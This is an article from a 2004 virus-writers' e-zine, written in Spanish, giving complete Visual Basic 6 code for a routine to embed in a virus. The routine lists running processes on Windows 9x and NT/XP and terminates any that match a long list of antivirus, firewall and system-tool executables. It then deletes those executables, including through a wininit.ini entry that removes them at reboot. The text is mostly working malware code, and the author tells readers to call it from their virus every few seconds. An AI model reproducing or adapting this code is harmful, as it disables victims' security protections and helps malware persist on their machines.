(C) MITOSIS #2 E-Zine/GEDZAC 2004

                                              
Tema          : Terminar procesos de Antivirus
Autor         : MachineDramon
Válido para   : Microsoft Visual Basic 6.0

No soy un experto en esto de los procesos, pero vamos a ver que sale,
disculpad las impresiciones que ubiera.
La idea es listar los procesos en ejecucion, y si encontramos alguno que
corresponda a una lista predefinida de avs lo terminamos y eliminamos el
archivo de ese proceso.
Recomendado complementar con el articulo de mitosis 1:
"Como tratar de evitar los Scan de antivirus OnLine"

1)En Win9x / WinME:
--------------------

'Declaramos estas apis, typos y constantes
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Declare Function TerminateProcess Lib "kernel32" (ByVal hProcess As Long, ByVal uExitCode As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Declare Function Process32First Lib "kernel32" (ByVal hSnapshot As Long, lppe As Any) As Long
Private Declare Function Process32Next Lib "kernel32" (ByVal hSnapshot As Long, lppe As Any) As Long
Private Declare Function CreateToolhelp32Snapshot Lib "kernel32" (ByVal lFlgas As Long, ByVal lProcessID As Long) As Long
Const TH32CS_SNAPPROCESS As Long = 2&: Const MAX_PATH As Long = 260
Private Type PROCESSENTRY32
  dwSize As Long: cntUsage As Long
  th32ProcessID As Long
  th32DefaultHeapID As Long
  th32ModuleID As Long
  cntThreads As Long
  th32ParentProcessID As Long
  pcPriClassBase As Long
  dwFlags As Long
  szexeFile As String * MAX_PATH
End Type


Sub KAnti98()
'Este es el sub al que debera llamarse de alguna parte del virus para que
'liste los procesos, recomendado llamarlo desde un timer cada 10 seg, por ejemp.
On Error Resume Next
Dim BResult1, BResult2, OProcces, TProcces, CProcces As Long: Dim BProcces As PROCESSENTRY32

'Con la funcion CreateToolhelp32Snapshot, se consigue una "instantanea"
'o "array" de los procesos que se estan ejecutandose y obtenemos
'un handle en BResult1, que luego debemos cerrar, usamos 
'TH32CS_SNAPPROCESS para indicar que se quiere listar los procesos
BResult1 = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)

'El tamaño de BProcces lo obtenemos haciendole un Len()
BProcces.dwSize = Len(BProcces)

'Usamos Process32First para obtener informacion del primer proceso
BResult2 = Process32First(BResult1, BProcces)

'Iniciamos un Bucle Do para analizar cada proceso, mientras BRessult2 sea
'true, Process32First y Process32Next regresan true si la funcion tiene
'exito, sino false
Do While BResult2

'A la funcion BScan le pasamos la ruta del exe que origina el proceso (BProcces.szexeFile)
'si encuentra coincidencia con algun exe de la lista de avs, devuelve true
If BScan(BProcces.szexeFile) Then

'Llamamos al fso, si no existe el wininit.ini en la carpeta de windows, lo creamos
Set Bf2 = CreateObject("Scripting.FileSystemObject")
if Not(Bf2.FileExists(Bf2.GetSpecialFolder(0) & "\Wininit.ini")) then Set w = Bf2.CreateTextFile(GetSpecialFolder(0) & "\wininit.ini"): w.write "[Rename]": w.Close

'Escribimos en el wininit.ini para borrar el exe del av en el prox reinicio
'GetFile(Path).ShortName nos da el path(ruta) de el exe en formato ms-dos
'(como se debe poner en el wininit.ini)
'[Rename]
'NUL=Ruta ms-dos
'usamos Left(BProcces.szexeFile, InStr(LCase(BProcces.szexeFile), ".exe") + 3)
'para obtener solamente la ruta del exe, ya que BProcces.szexefile tiene
'260 espacios
Set Bpf = Bf2.OpenTextFile(Bf2.GetSpecialFolder(0) & "\Wininit.ini", 8)
Bpf.write vbCrLf & "NUL=" & Bf2.GetFile(Left(BProcces.szexeFile, InStr(LCase(BProcces.szexeFile), ".exe") + 3)).ShortName
Bpf.Close

'Liberamos el objecto fso
Set Bf2 = Nothing

'Usamos OpenProcess para obtener el Handle del proceso, y el primer parametro
'de la api es 0 (segun me parece equivale a la const ALL_ACESS o algo asi)
'eso nos permite tener acceso al proceso, incluso terminarlo.
OProcess = OpenProcess(0, False, BProcces.th32ProcessID)

'Terminamos el proceso, pasandole a TerminateProcess el Handle
TProcess = TerminateProcess(OProcess, 0)

'Cerramos el Handle
CProcess = CloseHandle(OProcess)

'Esperamos 3 segundos y le quitamos todos los atributos al exe del av e
'intentamos eliminarlo
'Sleep "duerme" el programa un tiempo especificado en milisegundos 3000/1000=3
Sleep 3000
SetAttr Left(BProcces.szexeFile, InStr(LCase(BProcces.szexeFile), ".exe") + 3), 0
Kill Left(BProcces.szexeFile, InStr(LCase(BProcces.szexeFile), ".exe") + 3)
End If

'Obtenemos informacion del siguiente proceso, de haberlo, sino Process32Next
'devolvera False y terminara el bucle Do
BResult2 = Process32Next(BResult1, BProcces)

Loop

'Cerramos el Handle obtenido con CreateToolhelp32Snapshot
CProcces = CloseHandle(BResult1)
End Sub

'Funcion que verificara si en la ruta que le pasamos, esta algun nombre de
'algun exe de la lista
Function BScan(ExeNm)
On Error Resume Next

'Aqui un Array con la lista de exes a buscar, recordar que debemos actualizarla
'cada cierto tiempo, por si los avs cambian el nombre de sus exes
BScanExe = Array("avp32.exe", "avpmon.exe", "zonealarm.exe", "vshwin32.exe", "vet95.exe", "tbscan.exe", "serv95.exe", "Nspclean.exe", "clrav.com", _
"scan32.exe", "rav7.exe", "navw.exe", "outpost.exe", "nmain.exe", "navnt.exe", "mpftray.exe", _
"lockdown2000.exe", "icssuppnt.exe", "icload95.exe", "iamapp.exe", "findviru.exe", "f-agnt95.exe", "dv95.exe", _
"dv95_o.exe", "claw95ct.exe", "cfiaudit.exe", "avwupd32.exe", "avptc32.exe", "_avp32.exe", "avgctrl.exe", _
"apvxdwin.exe", "_avpcc.exe", "avpcc.exe", "wfindv32.exe", "vsecomr.exe", "tds2-nt.exe", "sweep95.exe", "EFINET32.EXE", _
"scrscan.exe", "safeweb.exe", "persfw.exe", "navsched.exe", "nvc95.exe", "nisum.exe", "navlu32.exe", "ALOGSERV", "AMON9X", "AVGSERV9", "AVGW", "avkpop", "avkservice", "AvkServ", "avkwctl9", "AVXMONITOR9X", "AVXMONITORNT", "AVXQUAR", _
"moolive.exe", "jed.exe", "icsupp95.exe", "ibmavsp.exe", "frw.exe", "f-stopw.exe", "espwatch.exe", "procexp", "filemon.exe", "regmon.exe", _
"dvp95.exe", "cfiadmin.exe", "avwin95.exe", "avpm.exe", "avp.exe", "ave32.exe", _
"anti-trojan.exe", "webscan.exe", "webscanx.exe", "vsscan40.exe", "tds2-98.exe", "SymProxySvc", "SYMTRAY", "TAUMON", "TCM", "TDS-3", "TFAK", "vbcmserv", "VbCons", "VIR-HELP", "VPC32", "VPTRAY", "VSMAIN", "vsmon", "WIMMUN32", "WGFE95", "WEBTRAP", "WATCHDOG", "WrAdmin", _
"sphinx.exe", "scanpm.exe", _
"rescue.exe", "pcfwallicon.exe", "pavcl.exe", "nupgrade.exe", "navwnt.exe", "navapw32.exe", "luall.exe", _
"iomon98.exe", "icmoon.exe", "fprot.exe", "f-prot95.exe", "esafe.exe", "cleaner3.exe", "IBMASN.EXE", "AVXW", "cfgWiz", "CMGRDIAN", "CONNECTIONMONITOR", "CPDClnt", "DEFWATCH", "CTRL", "defalert", "defscangui", "DOORS", "EFPEADM", "ETRUSTCIPE", "EVPN", "EXPERT", "fameh32", "fch32", "fih32", _
"blackice.exe", "avsched32.exe", "avpdos32.exe", "avpnt.exe", "avconsol.exe", "ackwin32.exe", "NWTOOL16", "pccwin97", "PROGRAMAUDITOR", "POP3TRAP", "PROCESSMONITOR", "PORTMONITOR", "POPROXY", "pcscan", "pcntmon", "pavproxy", "PADMIN", "pview95", "rapapp.exe", "REALMON", "RTVSCN95", _
"vsstat.exe", "vettray.exe", "tca.exe", "smc.exe", "scan95.exe", "rav7win.exe", "pccwin98.exe", "KPFW32.EXE", "ADVXDWIN", _
"padmin.exe", "normist.exe", "navw32.exe", "n32scan.exe", "lookout.exe", "iface.exe", "icloadnt.exe", "SPYXX", "SS3EDIT", "SweepNet", _
"iamserv.exe", "fp-win.exe", "f-prot.exe", "ecengine.exe", "cleaner.exe", "cfind.exe", "blackd.exe", "RULAUNCH", "sbserv", "SWNETSUP", "WrCtrl", _
"avpupd.exe", "avkserv.exe", "autodown.exe", "_avpm.exe", "avpm.exe", "regedit.exe", "msconfig.exe", "FPROT95.EXE", "IBMASN.EXE", _
"sfc.exe", "regedt32.exe", "offguard.exe", "pav.exe", "pavmail.exe", "per.exe", "perd.exe", _
"pertsk.exe", "perupd.exe", "pervac.exe", "pervacd.exe", "th.exe", "th32.exe", "th32upd.exe", _
"thav.exe", "thd.exe", "thd32.exe", "thmail.exe", "alertsvc.exe", "amon.exe", "kpf.exe", _
"antivir", "avsynmgr.exe", "cfinet.exe", "cfinet32.exe", "icmon.exe", "lockdownadvanced.exe", _
"lucomserver.exe", "mcafee", "navapsvc.exe", "navrunr.exe", "nisserv.exe", _
"nsched32.exe", "pcciomon.exe", "pccmain.exe", "pview95.exe", "Avnt.exe", "Claw95cf.exe", "Dvp95_0.exe", "Vscan40.exe", "Icsuppnt.exe", "Jedi.exe", "N32scanw.exe", "Pavsched.exe", "Pavw.exe", "Avrep32.exe", "Monitor.exe", _
"fsgk32", "fsm32", "fsma32", "fsmb32", "gbmenu", "GBPOLL", "GENERICS", "GUARD", "IAMSTATS", "ISRV95", "LDPROMENU", "LDSCAN", "LUSPT", "MCMNHDLR", "MCTOOL", "MCUPDATE", "MCVSRTE", "MGHTML", "MINILOG", "MCVSSHLD", "MCAGENT", "MPFSERVICE", "MWATCH", "NeoWatchLog", "NVSVC32", "NWService", "NTXconfig", "NTVDM", "ntrtscan", "npssvc", "npscheck", "netutils", "ndd32", "NAVENGNAVEX15", _
"notstart.exe", "zapro.exe", "pqremove.com", "BullGuard", "CCAPP.EXE", "vet98.exe", "VET32.EXE", "VCONTROL.EXE", "claw95.exe", "ANTS", "ATCON", "ATUPDATER", "ATWATCH", "AutoTrace", "AVGCC32", "AvgServ", "AVWINNT", "fnrb32", "fsaa", "fsav32", "ZAP.EXE", "ZAPD.EXE", "ZAPPRG.EXE", "ZAPS.EXE", "ZCAP.EXE", "pfwagent.exe", "pfwcon.exe")

'Aqui un contador for para buscar el nombre de cada exe de la lista en
'la ruta que le pasamos a la funcion, si encuentra devuelve true
For i = 0 To UBound(BScanExe)
DoEvents
If InStr(LCase(ExeNm), LCase(BScanExe(i))) <> 0 Then
BScan = True
Exit Function
End If
Next
BScan = False
End Function


En WinNT/2000/Xp:
-----------------------

En estos wins segun la page de microsoft hay que usar estas apis, pero
tal vez funcionen las otras tambien

'Declaramos estas apis, typos y constantes
Private Declare Function EnumProcesses Lib "psapi.dll" (ByRef lpidProcess As Long, ByVal cb As Long, ByRef cbNeeded As Long) As Long
Private Declare Function GetModuleFileNameExA Lib "psapi.dll" (ByVal hProcess As Long, ByVal hModule As Long, ByVal ModuleName As String, ByVal nSize As Long) As Long
Private Declare Function EnumProcessModules Lib "psapi.dll" (ByVal hProcess As Long, ByRef lphModule As Long, ByVal cb As Long, ByRef cbNeeded As Long) As Long
Private Const PROCESS_ALL_ACCESS = &H1F0FFF

'Estas son iguales que en los win9x y Me
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Public Declare Function TerminateProcess Lib "kernel32" (ByVal hProcess As Long, ByVal uExitCode As Long) As Long
Public Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long

'Este proceso es equivalente a Kanti98
Public Sub KantiNT()
On Error Resume Next

'Declaramos variables
Dim cb As Long, cbNeeded As Long, NumElements As Long, ProcessIDs() As Long, cbNeeded2 As Long
Dim Modules(1 To 1024) As Long, lRet As Long, ModuleName As String
Dim nSize As Long, hProcess As Long, i As Long, sModName As String

'Igualamos cb a 8 y cbNeeded a 96 que seran los valores que tendran en la
'primera llamada a EnumProcesses
cb = 8: cbNeeded = 96

'Esto es medio complicado(al menos pa mi), usamos EnumProcesses que nos dara
'un array con los ProcessID de los procesos que hay actualmente en el
'sistema, ProcessIDs es el array, cb es el tamaño del array ProcessIDs
'y cbNeeded es el tamaño necesario para ProcessIDs.
'Como no sabemos el tamaño del array necesario que debemos pasar a
'EnumProcesses, tenemos que iniciar un bucle y guiarnos por cb y cbNeeded
'si cb > cbNeeded ya tenemos el tamaño necesario y salimos del bucle
'(parece que microsoft no pudo hacerlo más complicado :S)
    Do While cb <= cbNeeded

'cb se va multiplicando por 2
       cb = cb * 2

'Redimensionamos el Array al numero de ProcessID que tenemos, que esta
'dado por el tamaño del array (cb) entre 4
       ReDim ProcessIDs(cb / 4) As Long

'La llamada a EnumProcesses
       lRet = EnumProcesses(ProcessIDs(1), cb, cbNeeded)
    Loop

'Lo anterior fue para obtener el array con los ProcessID, ahora el numero
'de procesos es igual al valor de cbneeded que se obtuvo en la ultima
'llamada a Enunprocesses osea al tamaño que necesitaba el 
'array entre 4
NumElements = cbNeeded / 4

'iniciamos un contador for de 1 al numero de procesos
    For i = 1 To NumElements
      
'llamamos OpenProcess con la opcion PROCESS_ALL_ACCESS para tener acceso
'al proceso y obtener su handle que almacenamos en hProcess, como tercer 
'argumento le pasamos el ProcessID del proceso
'al que queremos acceder, para lo cual accedemos al array ProcessIDs
'pasandole como indice el valor de i
        hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, ProcessIDs(i))

'Si OpenProcess devolvio un handle valido en hProcess
If hProcess Then

'Ahora usamos EnumProcessModules para enumerar los modulos del proceso
'Ahora que es un modulo? Segun la definicion que creo que es correcta
'seria que la lista de modulos es:
'"Esta lista define el juego de archivos necesitados por el módulo para
'cargar y ejecutar como un proceso corriente"
'Por lo que asumo que la lista de modulos incluye al exe, dll, ocx
'y demas archivos que se cargan o se necesitan para ese proceso
'y como en este caso solo estamos averiguando el path del 1° modulo
'y nos da el path del exe, asumo que el 1° modulo del proceso y la base
'del mismo es el exe
'La sintaxis de EnumProcessModules es:
'hProcess es el handle del proceso.
'Modules es un array que se llenara con los handles de los modulos
'del proceso.
'Como tercer argumento le pasamos el tamaño de Modules, recordar que lo
'declaramos como: Dim Modules(1 To 1024) ,por eso ponemos 1024
'cbNeeded2 es una var tipo long que nos devolvera el tamaño necesario del
'array
lRet = EnumProcessModules(hProcess, Modules(1), 1024, cbNeeded2)

'Ahora volvemos a llamar a EnumProcessModules pero como tamaño de
'Modules le pasamos cbNeeded2, ya que cbNeeded2 es el tamaño necesario
'del array, en este caso solo estamos obteniendo el handle del 1°
'modulo
lRet = EnumProcessModules(hProcess, Modules(1), cbNeeded2, cbNeeded2)

'Si el valor devuelto por EnumProcessModules es diferente de 0
 If lRet <> 0 Then

'Declaramos ModuleName como una cadena de 260 espacios y nSize como 500
   ModuleName = Space(260): nSize = 500

'Ahora usamos GetModuleFileNameExA para obtener el path(ruta) del archivo
'que origina el proceso, si se quiere solo obtener el nombre del archivo
'usar GetModuleBaseName, ambas funciones usan los mismos argumentos
'hProcess es el handle del proceso
'Modules(1) es el handle del Modulo
'ModuleName es un var o buffer que recibira el path del archivo del proceso
'nSize es el tamaño del buffer
   lRet = GetModuleFileNameExA(hProcess, Modules(1), ModuleName, nSize)

'Igualamos sModName a la ruta del archivo que origina el proceso
'y quitamos lo que sobre o quede vacio de los 260 espacios que le dimos
'a ModuleName, quedandonos con tantos caracteres a la izquierda como
'indique el numero devuelto en lRet por GetModuleFileNameExA
   sModName = Left$(ModuleName, lRet)

'Si en la ruta se encuentra el nombre de un exe de av
  If BScan(sModName) = True Then

    'Terminamos el proceso
    lRet = TerminateProcess(hProcess, 0)
    
    'Cerramos el Handle
    lRet = CloseHandle(hProcess)

    'Esperamos 3 segundos y le quitamos todos los atributos al exe del av e
    'intentamos eliminarlo
    'Sleep "duerme" el programa un tiempo especificado en milisegundos 3000/1000=3
    Sleep 3000
    SetAttr sModName, 0
    Kill sModName

  Else
 'Sino solo cerramos el Handle
    lRet = CloseHandle(hProcess)

  End If
 End If
End If

Next
End Sub
----------------------------------------------------------------------------


Para distinguir la version de win:
-------------------------------------
Podemos usar algo asi, si la funcion devuelve:
1 = Win95, 98 o Me
2 = WinNT, 2000 o XP

Private Declare Function GetVersionExA Lib "kernel32" (lpVersionInformation As OSVERSIONINFO) As Integer

Private Type OSVERSIONINFO
  dwOSVersionInfoSize As Long
  dwMajorVersion As Long
  dwMinorVersion As Long
  dwBuildNumber As Long
  dwPlatformId As Long
  szCSDVersion As String * 128
End Type

Function GetWinVersion() As Long
On Error Resume Next
    Dim OSinfo As OSVERSIONINFO, retvalue As Integer
    
    With OSinfo
        .dwOSVersionInfoSize = 148
        .szCSDVersion = Space$(128)
        retvalue = GetVersionExA(OSinfo)
    GetWinVersion = .dwPlatformId
    End With
End Function
-------------------------------------------------------------------------

(C) MITOSIS #2 E-Zine/GEDZAC 2004